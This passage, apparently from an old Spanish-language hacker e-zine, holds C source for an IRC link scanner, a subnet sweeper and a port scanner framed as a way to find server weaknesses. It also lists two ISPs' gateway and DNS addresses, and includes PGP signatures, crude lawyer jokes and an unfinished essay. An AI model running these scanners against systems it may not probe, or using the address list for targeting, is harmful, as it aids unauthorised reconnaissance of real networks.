0,lbptr = 0; char inbuf[1024],linebuf[1024],buff[128],*tmp,tunnels[64][128]; printf("Connecting to %s (port %d)...",servername,serverport); fflush(stdout); if ((plug = connectout(servername,serverport,120)) < 1) { if (plug == -2) printf(" Could not resolve hostname\n"); else printf(" %s\n",my_strerror(errno)); exit(0); } printf("\nLogging in... "); fflush(stdout); sprintf(linebuf,"USER %s . . :%s %s\n",my_username,randjunk(rand() % 15),randjunk(rand() % 15)); outserv(plug,linebuf); sprintf(linebuf,"NiCK %s\n",randjunk(7)); outserv(plug,linebuf); while ((nread = recv(plug,&inbuf,sizeof(inbuf),0)) > 0) { for (i=0;i<nread;i++) { if (inbuf[i] == '\n') { linebuf[lbptr] = '\0'; if (wild_match("% 001 *",linebuf)) { outserv(plug,"LiNKS\n"); printf("Established! Retrieving server list..."); fflush(stdout); } else if ((wild_match("% 365 *",linebuf))||(wild_match("% 402 *",linebuf))) { if (tunnels_left > 0) { printf(".[%s]",tunnels[tunnels_left-1]); fflush(stdout); sprintf(buff,"LiNKS %s %s\n",tunnels[tunnels_left-1],tunnels[tunnels_left-1]); outserv(plug,buff); tunnels_left--; } else close(plug); } else if (wild_match("% 364 *",linebuf)) { if (strtok(linebuf," ") != (char *)NULL) { strtok(NULL," "); strtok(NULL," "); if ((tmp = strtok(NULL," ")) != (char *)NULL) { if (strchr(tmp,'*')) { if (my_config.tunnel_foreign) strcpy(tunnels[tunnels_left++],tmp); } else strcpy(serverlist[lcount++],tmp); } } } else if (!strncmp("PiNG",linebuf,4)) { close(plug); if (tunnels_left > 0) { printf("\n%d tunneling requests timed out",tunnels_left); fflush(stdout); } } else if (wild_match("% 465 *",linebuf)) { printf("Banned from server\n"); close(plug); exit(0); } else if (wild_match("ERROR :*",linebuf)) { printf("\n%s\n",linebuf); close(plug); exit(0); } lbptr = 0; } else linebuf[lbptr++] = inbuf[i]; } } close(plug); printf("\n\n%d server names in list; beginning scan...\n",lcount); fflush(stdout); return lcount; } /* Exits gracefully when a signal is recieved */ void signal_handler(int signum) { if (signum != SiGALRM) { if (signum == SiGiNT) printf("\nSiGiNT - CTRL+C pressed\n"); else printf("\nLink Finder terminated\n"); if (my_config.logging) fclose(my_config.logfile); if (my_config.raw_logging) fclose(my_config.rawfile); exit(0); } signal(signum,signal_handler); } void main(int argc,char *argv[]) { static struct passwd *my_pwent; int i,aval,numlinks,serverport = 6667; char buff[128],*tmp = (char *)0,*logfilename = (char *)0,*rawfilename = (char *)0,*servername = (char *)0; printf("Link Finder version 1.00b (c)1996 by CKeeper [ckeeper@axiom.access.one.net]\nThis program is free software\n\n"); fflush(stdout); if (argc < 2) do_help(argv[0]); /* init stuff, defaults */ srand(getpid()); my_config.serverport = 6667; my_config.connect_timeout = 60; my_config.tunnel_foreign = 1; my_config.do_motd_writes = 0; my_config.logging = 0; my_config.raw_logging = 0; my_config.run_background = 0; servername = (char *)0; /* Set up signals */ signal(SiGALRM,signal_handler); signal(SiGPiPE,SiG_iGN); signal(SiGTERM,signal_handler); signal(SiGQUiT,signal_handler); signal(SiGiNT,signal_handler); /* Who am i? */ if ((my_pwent = getpwuid(getuid())) == (struct passwd *)NULL) { fprintf(stderr,"Could not determine your username: %s\n",my_strerror(errno)); exit(0); } my_username = my_pwent->pw_name; /* Get command line options (i'd like to use getopt(), but i think it * isn't portable to some systems :P) */ for (i=1;i<argc;i++) { aval = 0; if (*argv[i] == '-') { if (!strcmp("-motd",argv[i])) my_config.do_motd_writes = 1; else if (!strcmp("-nomotd",argv[i])) my_config.do_motd_writes = 0; else if (!strcmp("-tunnel",argv[i])) my_config.tunnel_foreign = 1; else if (!strcmp("-notunnel",argv[i])) my_config.tunnel_foreign = 0; else if (!strcmp("-fork",argv[i])) my_config.run_background = 1; else if (!strcmp("-nofork",argv[i])) my_config.run_background = 0; else { tmp = argv[i]; tmp++; while (*tmp) { switch (*tmp) { case 'l': if (i < argc) { my_config.logging = 1; logfilename = argv[i+aval+1]; aval++; } else do_help(argv[0]); break; case 'a': if (i < argc) { my_config.raw_logging = 1; rawfilename = argv[i+aval+1]; aval++; } else do_help(argv[0]); break; case 't': if (i < argc) { my_config.connect_timeout = atoi(argv[i+aval+1]); aval++; } else do_help(argv[0]); break; case 'p': if (i < argc) { my_config.serverport = atoi(argv[i+aval+1]); aval++; } else do_help(argv[0]); break; default: do_help(argv[0]); } tmp++; } } } else { if (strchr(argv[i],':')) { strcpy(buff,argv[i]); servername = strtok(buff,":"); serverport = atoi(strtok(NULL,":")); } else servername = argv[i]; } i=i+aval; } if (!servername) do_help(argv[0]); if (my_config.run_background) { if ((!my_config.logging)&&(!my_config.raw_logging)) { fprintf(stderr,"-fork requires some type of output file to be specified\n\n"); do_help(argv[0]); } } /* Open any output files */ if (my_config.logging) { if ((my_config.logfile = fopen(logfilename,"w+")) == (FiLE *)NULL) { fprintf(stderr,"Error opening logfile: %s\n",my_strerror(errno)); exit(0); } else printf("Opened %s for log output\n",logfilename); } if (my_config.raw_logging) { if ((my_config.rawfile = fopen(rawfilename,"w+")) == (FiLE *)NULL) { fprintf(stderr,"Error opening accepted list output file: %s\n",my_strerror(errno)); exit(0); } else printf("Opened %s for accepted server list output\n",rawfilename); } /* Zero stats */ my_stats.naccepted = 0; my_stats.ndenied = 0; my_stats.nerror = 0; /* Get links list */ numlinks = get_links(servername,serverport); /* Run in background if background option is set */ if (my_config.run_background) { if ((i = fork()) > 0) { printf("Running in background as pid# %d\nType 'kill -TERM %d' to kill\n",i,i); exit(0); } if (i < 0) { fprintf(stderr,"Cannot fork!\n"); exit(0); } } /* Try all the servers */ for(i=0;i<numlinks;i++) try_server(serverlist[i]); if (!my_config.run_background) printf("\nTotal number tested:[%d] Accepted:[%d] Denied:[%d] Error:[%d]\n",numlinks,my_stats.naccepted,my_stats.ndenied,my_stats.nerror); if (my_config.logging) fclose(my_config.logfile); if (my_config.raw_logging) fclose(my_config.rawfile); exit(0); } /* ------------------------------------------------------------------------ */ /* This is the wildcard match routine used in ircd and ircii... it makes the * parsing routines much less of a headache. (just like iRC script!) */ /* * Written By Douglas A. Lewis <dalewis@cs.Buffalo.EDU> * * This file is in the public domain. */ #define RETURN_FALSE -1 #define RETURN_TRUE count unsigned char lower_tab[256] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 97, 98, 99,100,101,102,103,104,105,106,107,108,109,110,111, 112,113,114,115,116,117,118,119,120,121,122, 91, 92, 93, 94, 95, 96, 97, 98, 99,100,101,102,103,104,105,106,107,108,109,110,111, 112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127, 128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, 144,145,145,147,148,149,150,151,152,153,154,155,156,157,158,159, 160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175, 176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191, 192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207, 208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223, 224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239, 240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255 }; #undef tolower #define tolower(x) lower_tab[x] int _wild_match(unsigned char *mask,unsigned char *string) { unsigned char *m = mask,*n = string,*ma = NULL,*na = NULL,*mp = NULL,*np = NULL; int just = 0,pcount = 0,acount = 0,count = 0; for (;;) { if (*m == '*') { ma = ++m; na = n; just = 1; mp = NULL; acount = count; } else if (*m == '%') { mp = ++m; np = n; pcount = count; } else if (*m == '?') { m++; if (!*n++) return RETURN_FALSE; } else { if (*m == '\\') { m++; if (!*m) return RETURN_FALSE; } if (!*m) { if (!*n) return RETURN_TRUE; if (just) return RETURN_TRUE; just = 0; goto not_matched; } just = 0; if (tolower(*m) == tolower(*n)) { m++; if (*n == ' ') mp = NULL; count++; n++; } else { not_matched: if (!*n) return RETURN_FALSE; if (mp) { m = mp; if (*np == ' ') { mp = NULL; goto check_percent; } n = ++np; count = pcount; } else check_percent: if (ma) { m = ma; n = ++na; count = acount; } else return RETURN_FALSE; } } } } int wild_match(char *pattern,char *str) { /* assuming a -1 return of false */ return _wild_match((u_char *)pattern,(u_char *)str) + 1; } /* End stolen code -------------------------------------------------------- */ El siguiente programa es un iP scanner, se usa de la siguiente forma netscan -v 199.186.81 ahi buscara las ip del 199.186.81 hasta 199.186.81.254 Aqui va el codigo : /* netscan.c------------------------------------------------------------------ * gcc -o netscan netscan.c */ #include <ctype.h> #include <stdio.h> #include <sys/time.h> #include <sys/file.h> #include <sys/errno.h> extern int errno; #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <fcntl.h> extern char *inet_ntoa(); extern char *optarg; extern int optind; int vflg = 0; int delay = 1; int port = 23; main(ac,av) int ac; char **av; { char s[512]; int x; char *p; char *p2; int i1; int i2; int i3 = -1; while((x = getopt(ac,av,"d:vp:")) != -1) { switch(x) { case 'd': delay = atoi(optarg); break; case 'v': vflg++; break; case 'p': port = atoi(optarg); break; } } if(optind == ac) { fprintf(stderr,"usage: %s [-v] network ip\n",av[0]); printf("usage: 192.100.81.100 would be entered as: netscan -v 192.100.81\n"); printf("usage: this will list ip usage from: 192.100.81.1 to: 192.100.81.254\n"); exit(1); } for(x = optind; x < ac; x++) { strcpy(s,av[x]); for(p = s; isdigit(*p); p++); if(*p != '.') { fprintf(stderr,"malformed network address: %s\n",av[x]); exit(1); } *p++ = '\0'; i1 = atoi(s); if(i1 < 1 || i1 > 254) { fprintf(stderr,"first octet %d out of range in address: %s\n",i1,av[x]); exit(1); } p2 = p; for(; isdigit(*p); p++); if(*p != '.' && *p != '\0') { fprintf(stderr,"network address: %s malformed\n",av[x]); exit(1); } if(*p == '.') *p++ = '\0'; i2 = atoi(p2); if(i2 < 1 || i2 > 254) { fprintf(stderr,"second octet %d out of range in address: %s\n",i2,av[x]); exit(1); } if(*p != '\0') { p2 = p; for(; isdigit(*p); p++); if(*p != '\0') { fprintf(stderr,"network address: %s malformed\n",av[x]); exit(1); } i3 = atoi(p2); if(i3 > 254) { fprintf(stderr,"third octet %d out of range in address: %s\n",i3,av[x]); exit(1); } } if(i3 != -1) { if(crunchnet(i1,i2,i3)) exit(1); } else { for(x = 1; x < 255; x++) if(crunchnet(i1,i2,x)) exit(1); } } exit(0); } char * addrof(in) struct in_addr in; { struct hostent *hp; static char xuf[512]; hp = gethostbyaddr((char *)&in,sizeof(in),AF_iNET); if(hp == (struct hostent *)0) return(inet_ntoa(in)); else { sprintf(xuf,"%s (%s)",hp->h_name,inet_ntoa(in)); return(xuf); } } crunchnet(i1,i2,i3) int i1; int i2; int i3; { struct sockaddr_in addr; struct timeval timo; int fd; int x; char *s; if(vflg) fprintf(stderr,"trying subnet %d.%d.%d\n",i1,i2,i3); s = (char *)&addr.sin_addr; s[0] = i1; s[1] = i2; s[2] = i3; timo.tv_usec = 0; timo.tv_sec = delay; for(x = 1; x < 255; x++) { s[3] = x; addr.sin_port = htons(port); addr.sin_family = AF_iNET; fd = socket(AF_iNET,SOCK_STREAM,0); if(fd < 0) { perror("socket"); return(1); } fcntl(fd,F_SETFL,FNDELAY); if(connect(fd,(struct sockaddr *)&addr,sizeof(addr)) < 0) { fd_set msk; #ifdef EiNPROGRESS if(errno != EWOULDBLOCK && errno != EiNPROGRESS) goto giveup; #else if(errno != EWOULDBLOCK) goto giveup; #endif FD_ZERO(&msk); FD_SET(fd,&msk); if(select(fd + 1,0,&msk,0,&timo) != 1) goto giveup; if(vflg) fprintf(stderr,"%c%s\n",07,addrof(addr.sin_addr)); else printf("%s\n",addrof(addr.sin_addr)); } else { if(vflg) fprintf(stderr,"%c%s\n",07,addrof(addr.sin_addr)); else printf("%s\n",addrof(addr.sin_addr)); } close(fd); continue; giveup: if(vflg) fprintf(stderr,"\t%s\n",addrof(addr.sin_addr)); close(fd); } if(vflg) fprintf(stderr,"\n"); return(0); } /*-----------------------------Fin del codigo--------------------------------*/ Este Programa es un buscador de puertos, para buscar debilidades de un servidor, Se usa de la siguiente forma : portscan -l lowport -h highport [-v] host por ejemplo : quiero en el servidor uchile.cl buscar los puertos del 1 al 255 entonces escribo : portscan -l 1 -h 255 uchile.cl ahi va ir saliendo los puertos activo la opcion -v es para modo verbose... /* portscan.c----------------------------------------------------------------*/ #include <ctype.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> extern char *optarg; extern int optind; extern struct servent *getservbyport(); main(ac,av) int ac; char **av; { int loport = 0; int hiport = 30000; char *s; struct sockaddr_in addr; struct hostent *hp; int fd; int x; int xit; char *p; int vflg = 0; while((x = getopt(ac,av,"l:h:v")) != -1) { switch(x) { case 'v': vflg++; break; case 'h': hiport = atoi(optarg); break; case 'l': loport = atoi(optarg); break; } } if(optind == ac) { fprintf(stderr,"usage: %s [-l low port] [-h high port] [-v] host\n",av[0]); exit(1); } for(xit = optind; xit < ac; xit++) { s = av[xit]; p = s; while(*p != '\0' && (*p == '.' || isdigit(*p))) p++; /* not all digits or dots */ if(*p != '\0') { if((hp = gethostbyname(s)) == (struct hostent *)0) { fprintf(stderr,"%s: address unknown\n",s); exit(1); } (void)bcopy(hp->h_addr,(char *)&addr.sin_addr,hp->h_length); } else { unsigned long f; if((f = inet_addr(s)) == -1L) { fprintf(stderr,"%s: address unparsable\n",s); exit(1); } (void)bcopy((char *)&f,(char *)&addr.sin_addr,sizeof(f)); } if(vflg) fprintf(stderr,"%s: trying stream ports between %d and %d\n",s,loport,hiport); for(x = loport; x < hiport + 1; x++) { if(vflg) fprintf(stderr,"."); addr.sin_port = htons(x); addr.sin_family = AF_iNET; fd = socket(AF_iNET,SOCK_STREAM,0); if(fd < 0) { perror("socket"); exit(1); } if(connect(fd,(struct sockaddr *)&addr,sizeof(addr)) == 0) { struct servent *sp; if((sp = getservbyport(x,"tcp")) != (struct servent *)0) { if(vflg) fprintf(stderr,"\n%c%s\n",07,sp->s_name); else printf("%s\n",sp->s_name); } else { if(vflg) fprintf(stderr,"\n%c%d\n",07,x); else printf("%d\n",x); } } close(fd); } if(vflg) fprintf(stderr,"\n"); } exit(0); } /*----------------------------Fin del Codigo--------------------------------*/ Este programa es un translador de direccion iP a Alfanumerico... /* lookup.c-----------------------------------------------------------------*/ /*translate ip to alpha, faster than nslookup*/ /*thc*/ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> main(argc, argv) int argc; char *argv[]; { struct hostent *lookup; char name[255]; unsigned long addr; if (argc != 2) { printf("Usage: %s {ipnumber}\n", argv[0]); exit(1); } if ((addr = inet_addr(argv[1])) == -1) { printf("Couldn't find %s\n", argv[1]); exit(1); } if ((lookup = gethostbyaddr((char *) &addr,sizeof(long),AF_iNET)) != NULL) { printf("%s \t %s\n",argv[1], lookup->h_name); *lookup->h_addr_list++; } else printf("Error: couldn't find hostname for %s\n", argv[1]); } /*---------------------------Fin del codigo----------------------------------*/ Aqui va un programa uuencodeado para poder cargar esos programas antiguos que cargan tan rapido, has tratado de jugar space invaders en un pentium o mario bros?, bueno este programa ayuda en algo, para usarlo pones : slowdos 1000 space.exe , o segun tus preferencias... (iNCLUiDO EN LA SECCiON UUENCODE) Gracias por la excelente revista... Blacklash necesitamos gente que sepa crear scripts para ircii y Pirch... -----BEGiN PGP PUBLiC KEY BLOCK----- Version: 2.6.3ia mQENAzPNZ00AAAEiAMs1J7+3x6G7trFSRY5pSBUUArN8XksQTyCl/2t+cmBDhQ4l mA18ze31NUGOuX7Wk9yynTUSG5/HQ3nUsR5sFOiPhrP215yAERdUD+gAzg+B0CG7 JmUKJhNSibUvQsPg2/XVO13uciiefWVvDioGiG4dRBUV9AB1xJR/SQi1HwQyhV13 LP7ACeXQinsoPHY7Hki/aPKrw/0uWuz7zkZHotiVnuXdVDitLOjwNF8YiGuXacRu 7k11TTYqSjFEhOddisuTQg88MW3w4sO6RiiGn0VTppsFLWeZwNJ9J1dv89smktkQ kuK9LuExcBu6k1qzy/CMYJP9oD9Z1oXDaJx35iEABRG0iUJsYWNrbGFzaCA8dHJ1 ZV95b0BnZW9jaXRpZXMuY29tPokBFQMFEDPNZ07WhcNonHfmiQEBCjAiAJObdZcF XNVfABHyRt8pHcMfiL3jV3j4b3yQVFw48BPbCK1aYgtson6U5hfiPXWsyFEqcU+Z RXUDuk1AxQaiY711o8EUibjBFiFKa6f47NoDhi7QGYC/6zCqn+MEkws+b6ttMzUj jeA7XKHpMVTtnhHHV3EAsi7u4QMg05YKSJleyqyFllj9v6Mng3RjwOeu/pOsVuUv 0iM23ipgRFc+vHxoR7NsJQOQb2in+MP9umfrGuqwv+hxa+fqA/AH4FQ73XpDrHxx L8Y7LXTFulEJV0nfxp+VhSMSiaQMfCK0PJmU6BmsS3MnNfibTak/7uwtYx0ZiKJd 0vpmlXeyVu0s27s= =fhpy -----END PGP PUBLiC KEY BLOCK----- ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Yo Soy en colaboracion con Pipirisnais les mostramos la siguiente informacion de los servidores de algunos proveedores de internet en Los Cabos, Baja California Sur... La informacion es de 2 proveedores ( cabonet y primero cabonet ): 1ero Cabonet ( http://www.1cabonet.com.mx ) : Gateway : 200.33.141.1 200.33.141.3 200.33.141.65 DNS : 200.33.141.5 200.23.249.1 Direccion: http://www.1cabonet.com.mx Telefono : (01 114 ) 22883 Cabonet ( http://www.cabonet.net.mx ): Gateway : 200.36.173.162 DNS : 200.36.173.161 Direccion: http://www.cabonet.net.mx Telefonos: (01 114 ) 20052 22082 Yo Soy a : mierda@hotmail.com Pipirisnais a : mexicogob@hotmail.com ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Una copia de este texto lo puedes encontrar en nuestro web junto con la llave PGP necesaria para verificar las firmas de los archivos. pronto. -----BEGiN PGP SiGNED MESSAGE----- archivo: RareGaZz #1 http://www.geocities.com/Baja/4426/rare001.zip http://raregazz.islatortuga.com/rare001.zip firma: - -----BEGiN PGP MESSAGE----- Version: 2.6.3ia iQEVAwUANGqi8K4wO2YRk8TdAQE1gwf9GOTFguYZj9W7yyDT1UTntxY97/34DdSo Rmeh+lvKQx3NTxckpq8i0i/JE7+Y4FkECFXOEmDJV7P1YkfWjYZvb+FXuahaLSql 5orrozguV8h1jiVHfgbZnzb9FPfSRpRxsclyzX7JGCfb2Z0YHZCtghM7EGOpROtb /Kbb+XUxhlA+grnny2YiU+lukMcWPFAtUNUXf6K2MCaBdx+2L+Lrqem+wvqrxdsm z7/0mAK/fXq8TR/eFK2qxusG1WsBSgTOmU2fJRz5UemMl/j82hHnp6nUxhj50RZj 2oxzlj9wk1N8LUOgfC//tv0VXvt/uNWOC4eqP7XocmO25tDr1xD3ew== =kvTh - -----END PGP MESSAGE----- archivo: RareGaZz #2 http://www.geocities.com/Baja/4426/rare002.zip http://raregazz.islatortuga.com/rare002.zip firma: - -----BEGiN PGP MESSAGE----- Version: 2.6.3ia iQEVAwUANGqjK64wO2YRk8TdAQG7zwf9G+YudV9g5WNjWjPkhBWs+7stvWBguEBq s4iMewqVkTfibAMcwNgglAkOmxojKgC7v9xG2lx8Z9B7Or15QoOcs1Mcx+XGyPZX lK7jiCgQaz9W6Pv0twaWkk/1ZVjiVMPc7pVm/d9JotiAr+r8aEl0XhiK8WWKZeim ke5dZBrqe5oF3Wj8TiP3KqOFpz/VTb4wTX8tLyhJ19x7DMzSPrGbLVeznFcjecns 3rRMRjerTgFAvC2kwZ11dLL2WglG5h9N6HjBPJd7OSmwAe+7XcS4CZnwd7Fjambz b6STWaFzum9DWR3sPNkiVbmQh45jZXNSKWFozc84qKzY1yM9erpFVg== =H6gl - -----END PGP MESSAGE----- archivo: RareGaZz #3 http://www.geocities.com/Baja/4426/rare003.zip http://raregazz.islatortuga.com/rare003.zip firma: - -----BEGiN PGP MESSAGE----- Version: 2.6.3ia iQEVAwUANGqjaq4wO2YRk8TdAQHFCAgAlB+oB0CgBY0yg1wvjibtZ8oPEyd4qT2A fi5h0jdzzMx6ZLwThKiBVQgScf9VMerAgO+s2h9gSZ/AEzbVW+YmYvZiQjwGvpXU tGFm7pezKUPn1GohTfPXSfiVbasNLKxbj5Q1guyVrjorAmKdSbg/PmgTCrvr/Yg7 NNQn56wHL4pOoyiR6g33eBMKcOY1iRzkHzi3ddVvKieK6elRaBl6F5FUnTLA2kKJ THJ890KWDHGVlzM0OdVQEukpgUh/v6oEwqO2yGhtPuqhQUPDkTTRnNZPxJyqQZql gzHKACCJ6kEUVRz8miUVRz6AwfvnnqSqhVD3kLRChZsgxchndi9uLA== =iPnZ - -----END PGP MESSAGE----- archivo: RareGaZz #4 http://www.geocities.com/Baja/4426/rare004.zip http://raregazz.islatortuga.com/rare004.zip firma: - -----BEGiN PGP MESSAGE----- Version: 2.6.3ia iQEVAwUANGqjia4wO2YRk8TdAQHw+Af+iAr1G4KTbH54/O/q9gpCQ9ZwckLSBrfk cr36L28eYqxwpRrKTlqAZMmR9HOf91in86hq+WOeL3wYJTsO7dbsc7EWvuwkzK4G s9b3xRdaW5G7GHQwy8tmJOpxSmkwyi/ahcACGPvGV5MsvwpGNYFEFd500gJk+sWT vNRuUgD7QLdRALiofms2ff3mgMht/MovonY9VtP8Kod8DfzqJLcilkBjshmX5OED y7CO/EC7L5K9b790KT/jRxzYkCHgk6kAxq0i/zUPAt1Kys8FVibZ/J8pV3sD2uwV St2sM/RrVWhpMFPmqSU87jTQGTiK43DesYypvv/6fQUW7xfG2UtM9w== =Rtip - -----END PGP MESSAGE----- archivo: RareGaZz #5 http://www.geocities.com/Baja/4426/rare005.zip http://raregazz.islatortuga.com/rare005.zip firma: - -----BEGiN PGP MESSAGE----- Version: 2.6.3ia iQEVAwUANGqjsq4wO2YRk8TdAQGxKAgAqZdy3bqfY0uM5rKyyXUbLNV9g3xtAKdK d/mMVN2hRKDr+epHXpuwsOQHxe9lZvQnsbH/mLHYr8guATTCSWDOivzQCJZRbU7w 42ipA2MuZ2RMrYnBm109txZJ5YpKVCbbf9ndg8Sv52//fWRPqRP7xZ56d6cM2n1t kltztivUav/pRH0zfel9xLizu+c0deaYymKVL04HgNBn5WhUSY39bzia8HyCP4MY niige1nWiFRpCZvc0a78VHC/33ROLuC6Nw9/xoonkrvFnYjA4JKGfi66+pJdPelT BCYrwU/vk7Wu5k72K2qrh5qjv47NT7V8bkvuidDVHs0AfLBZhcfkXA== =G6le - -----END PGP MESSAGE----- archivo: RareGaZz #6 http://www.geocities.com/Baja/4426/rare006.zip http://raregazz.islatortuga.com/rare006.zip firma: - -----BEGiN PGP MESSAGE----- Version: 2.6.3ia iQEVAwUANGqj1K4wO2YRk8TdAQExXgf/WzHu4jkrpN2F3fYSPhUl1rTbrrM27k8P vfsdynlqgYiENGjvQ+x2/z/oA9D3A2/94YXMVyxo9dUam5Ja9ZDdvL/bSrRjgHaE N2p/Bc1FOgipHKA268wqvbHTw9rsZisEhs5tB4sLMHMfnh7lWE5f9228r0PUTt11 GqVejeki4UW+fEB+0BioTRoVbWVZ7CHk8OagskSAC5bG21T/JC+k+MG4TW0iD1em mZry8m10PFdwAmpX1y07sjwW+Z9dumJN9HDDUVdwYy11LlDOMovf+p4gBz0G+uDR e0pzCSK0eaBik0KzAAaocL0XR9HjmZhjW1lMAW3/kcuLlg39q0ZGyg== =U13u - -----END PGP MESSAGE----- archivo: RareGaZz #7 http://www.geocities.com/Baja/4426/rare007.zip http://raregazz.islatortuga.com/rare007.zip firma: - -----BEGiN PGP MESSAGE----- Version: 2.6.3ia iQEVAwUANGqj8K4wO2YRk8TdAQHUNAf/d15smmOc3fJQmniSi9gG5JX4o8eJB70t N67kW6VSMZhDuc78JCn3x4VlhK0revBy+JJKhyTT/MTJGKUTCbjKZDv4tXrFxtZP 6cOqfT0qqcXQyllXDSJNpiw/2F3qA4qtJCyccFgQQfDqqr4WAMa3HvODvJkLaDLP 0MCvv38j7iLtfHG8MHgbc4aGp9/26NY7hHcr+wS1jPOeJj02uz3yNLBrBfHBsFZ7 vAc1wu7OzE1ZGZ/QW6RS70MK6mPUlOsw+3GSoOf2gSy0S49EzD3TdiQlPSu3dRst Lh2HVovjFDUeicMFn9/GbM3/ke8EOEEhpHXhEi/BbWGw9wMhCg50Eg== =ukdg - -----END PGP MESSAGE----- archivo: RareGaZz #8 http://www.geocities.com/Baja/4426/rare008.zip http://raregazz.islatortuga.com/rare008.zip firma: - -----BEGiN PGP MESSAGE----- Version: 2.6.3ia iQEVAwUANGqj+q4wO2YRk8TdAQGsbwf/eS1n4Cd4hme+Mot8/U3ifqoWt3Cx6eip vKbjNQu2QbfB5ba5Ef85t/YfVj/OuUcdg54eSPiiRiLAO9H5i+QLsQwzfa0of6Vo vx+BV4qnVCDL1xj2iF7xc2+HDOJPjE9ag8WwdovvW+bmW72fukLM4WS9/Ncw2RqO RiMCBgx5rQCOt4OZ2JKWjnSlVoNaglyhDfQeQL7/v3GLV3zV4Yqvfmfu2inBbiji LqHVqVCJBgb7MsYcl7mvic45FZjVW+hxgQzVNq14iRt7t8njEbDmQ/FX16YTiPOS zEHmb2Qa3uZ32cRBWV1hGgcX1hojPdrLNnY0e1fUJPGFevOFyHiclA== =KbDZ - -----END PGP MESSAGE----- -----BEGiN PGP SiGNATURE----- Version: 2.6.3ia Charset: ascii iQEVAwUBNGwLJ64wO2YRk8TdAQFBagf/UxD6/Gi7kGWwW8Yn0UA1nz/OLkmp327h G3GnLDM9xfzzVsnjfjLO81S7X3fTnErXuMEJQ1jJqj2at63U2J7/ixSV7tOBFqBZ zdYB32ctVVrF9arHd2i3MXfiqV+07vEkWe2vw6WUuBOfUz/3Wv4hdsJC8OmYLJNi flPUx8bHusDMjFqyKl/ARmwnqv/xkzXLqQvPoyfS3iMixzABCPTuG+kdifJfgMvD bAku1yYan8oX/6hipSiNU6YbY2hGPtSP9EMUpPj6+PxbpnO30X3FypJ/pr91FQok qUVQeQTdOVGTXme3U/tJOWexGi+dz4pMEyb/xMvjKlpbMdLtmZqgOg== =Mnqc -----END PGP SiGNATURE----- Esto sirve si tienes una copia del programa PGP y nuestra llave PGP (http://www.geocities.com/Baja/4426/llave.txt) para que verifiques si tienes los archivos originales. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Pregunta: ¿Como llamas a 5000 Abogados muertos en el fondo del oceano? Respuesta: ¡Un buen principio! Pregunta: ¿Como puedes saber si un Abogado miente? Respuesta: Si se mueven sus labios. Pregunta: ¿Cual es la diferencia entre un perro muerto en la calle a un abogado muerto en la calle? Respuesta: Hay pruebas de que intentaron frenar delante del perro. Pregunta: ¿Por que los tiburones no atacan Abogados? Respuesta: Cortesia Profesional. Pregunta: ¿Que NO se tiene cuando un Abogado esta enterrado hasta el cuello? Respuesta: Suficiente tierra. Pregunta: ¿Como alejas a un Abogado de un arbol? Respuesta: Cortas la cuerda. Pregunta: ¿Sabes como salvar a un Abogado asfixiandose? Respuesta: Quitar tus manos de su cuello. Pregunta: ¿Cual es la diferencia entre un Abogado y una cubeta de mierda? Respuesta: La cubeta. Pregunta: ¿Donde puedes encontrar un buen Abogado? Respuesta: En el cementerio. Pregunta: ¿Cual es la diferencia entre un Abogado y un gigolo? Respuesta: Un gigolo se jode a una persona a la vez. Pregunta: Si vez a un Abogado en una bicicleta, ¿por que no lo atropellas? Respuesta: Por que puede ser tu bicicleta. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ un dia sin smog ~~~~~~~~~~~~~~~ se acerca diciembre y con este mes las fiestas rutinarias de la mayoria de las culturas. ¿festejan? el nacimiento de cristo...eso creo. ¿o la llegada de un año nuevo? como saberlo. de nuevo diciembre pero este mes no es como el del año anterior - o el otro. este es diferente. muchas cosas que antes tomaba como mias han dejado de serlo. en cambio, cosas que jamas pense que fueran a formar parte de mi vida pasaran a serlo. No. no hablo de navidad o año nuevo. sino del regreso de la luz a mi vida. o la eterna oscuridad. todo depende. veras, ganas de vivir tengo pocas. amistades y relaciones demasiadas. por favor no piensen que soy un gruñon. solo trato de vivir feliz...y eso bien podria ser en 